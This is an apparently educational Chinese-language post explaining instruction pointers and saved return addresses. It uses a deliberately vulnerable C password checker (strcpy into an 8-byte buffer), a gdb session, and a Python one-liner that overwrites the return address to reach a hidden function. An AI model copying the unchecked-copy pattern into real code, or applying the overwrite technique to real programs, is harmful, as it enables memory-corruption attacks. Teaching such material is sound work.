instruction pointer 通常是微处理器上的一个寄存器(内存),对于 32 位系统,它以 4(4 个字节)递增,对于 64 位系统,它以 8(即 8 个字节)递增,因此它指向下一个指令。
当程序进入一个函数时,一个保存的指令指针(ip/rip/eip)就是返回地址,也就是函数终止后应该跳转回来的地址。
从书中所说,每个内存地址都有一个字节,并且
每个字节都有一个内存地址。
那似乎是一台 8 位计算机,这不是我们通常的真实情况。如果我们以某个程序为例:
#include <stdio.h>
#include <string.h>
char * pwd = "pwd0";
void print_my_pwd() {
printf("your pwd is: %s\n", pwd);
}
int check_pwd(char * uname, char * upwd) {
char name[8];
strcpy(name, uname);
if (strcmp(pwd, upwd)) {
printf("non authorized\n");
return 1;
}
printf("authorized\n");
return 0;
}
int main(int argc, char ** argv) {
check_pwd(argv[1], argv[2]);
return 0;
}
我可以构建它并使用 gdb 对其进行检查。
$ make
gcc -O0 -ggdb -o main main.c -fno-stack-protector
$ gdb main
GNU gdb (Ubuntu 8.2-0ubuntu1~18.04) 8.2
Copyright (C) 2018 Free Software Foundation, Inc.
License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html>
This is free software: you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law.
Type "show copying" and "show warranty" for details.
This GDB was configured as "x86_64-linux-gnu".
Type "show configuration" for configuration details.
For bug reporting instructions, please see:
<http://www.gnu.org/software/gdb/bugs/>.
Find the GDB manual and other documentation resources online at:
<http://www.gnu.org/software/gdb/documentation/>.
For help, type "help".
Type "apropos word" to search for commands related to "word"...
Reading symbols from main...done.
(gdb) b check_pwd
Breakpoint 1 at 0x76c: file main.c, line 12.
(gdb) run joe f00b4r42
Starting program: /home/developer/main joe f00b4r42
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".
Breakpoint 1, check_pwd (uname=0x7fffffffdc01 "joe", upwd=0x7fffffffdc05 "f00b4r42") at main.c:12
12 strcpy(name, uname);
(gdb) info frame
Stack level 0, frame at 0x7fffffffd6d0:
rip = 0x55555555476c in check_pwd (main.c:12); saved rip = 0x5555555547ef
called by frame at 0x7fffffffd6f0
source language c.
Arglist at 0x7fffffffd6c0, args: uname=0x7fffffffdc01 "joe", upwd=0x7fffffffdc05 "f00b4r42"
Locals at 0x7fffffffd6c0, Previous frame's sp is 0x7fffffffd6d0
Saved registers:
rbp at 0x7fffffffd6c0, rip at 0x7fffffffd6c8
您在上面看到saved rip(指令指针)位于0x7fffffffd6c8,其值为0x5555555547ef(它在哪里和它是什么之间的重要区别)。我可以故意让程序溢出,用我知道的其他东西覆盖这个值:
(gdb) p &name
$1 = (char (*)[8]) 0x7fffffffd6b8
(gdb) p &print_my_pwd
$2 = (void (*)()) 0x55555555473a <print_my_pwd>
(gdb) Quit
现在我知道name 和rip 之间的距离(不是值,而是它们的位置):0x7fffffffd6c8 - 0x7fffffffd6b8 = 16。所以我将 16 个字节写入name 的位置,以便我将写入rip 的值,我写的是print_my_pwd 的位置,即UUUUG: 和向后,因为它是小端计算机:
$ ./main $(python -c "print 'AAAAAAAAAAAAAAAA:GUUUU'") B
non authorized
your pwd is: pwd0
Segmentation fault (core dumped)
$
如您所见,输入导致溢出并覆盖指令指针的值,并导致指令指针跳转到打印密码的函数的位置。
不要在现实生活中编写这样的代码,但希望它有助于理解它是如何工作的,并且当你不检查输入的范围时它不起作用。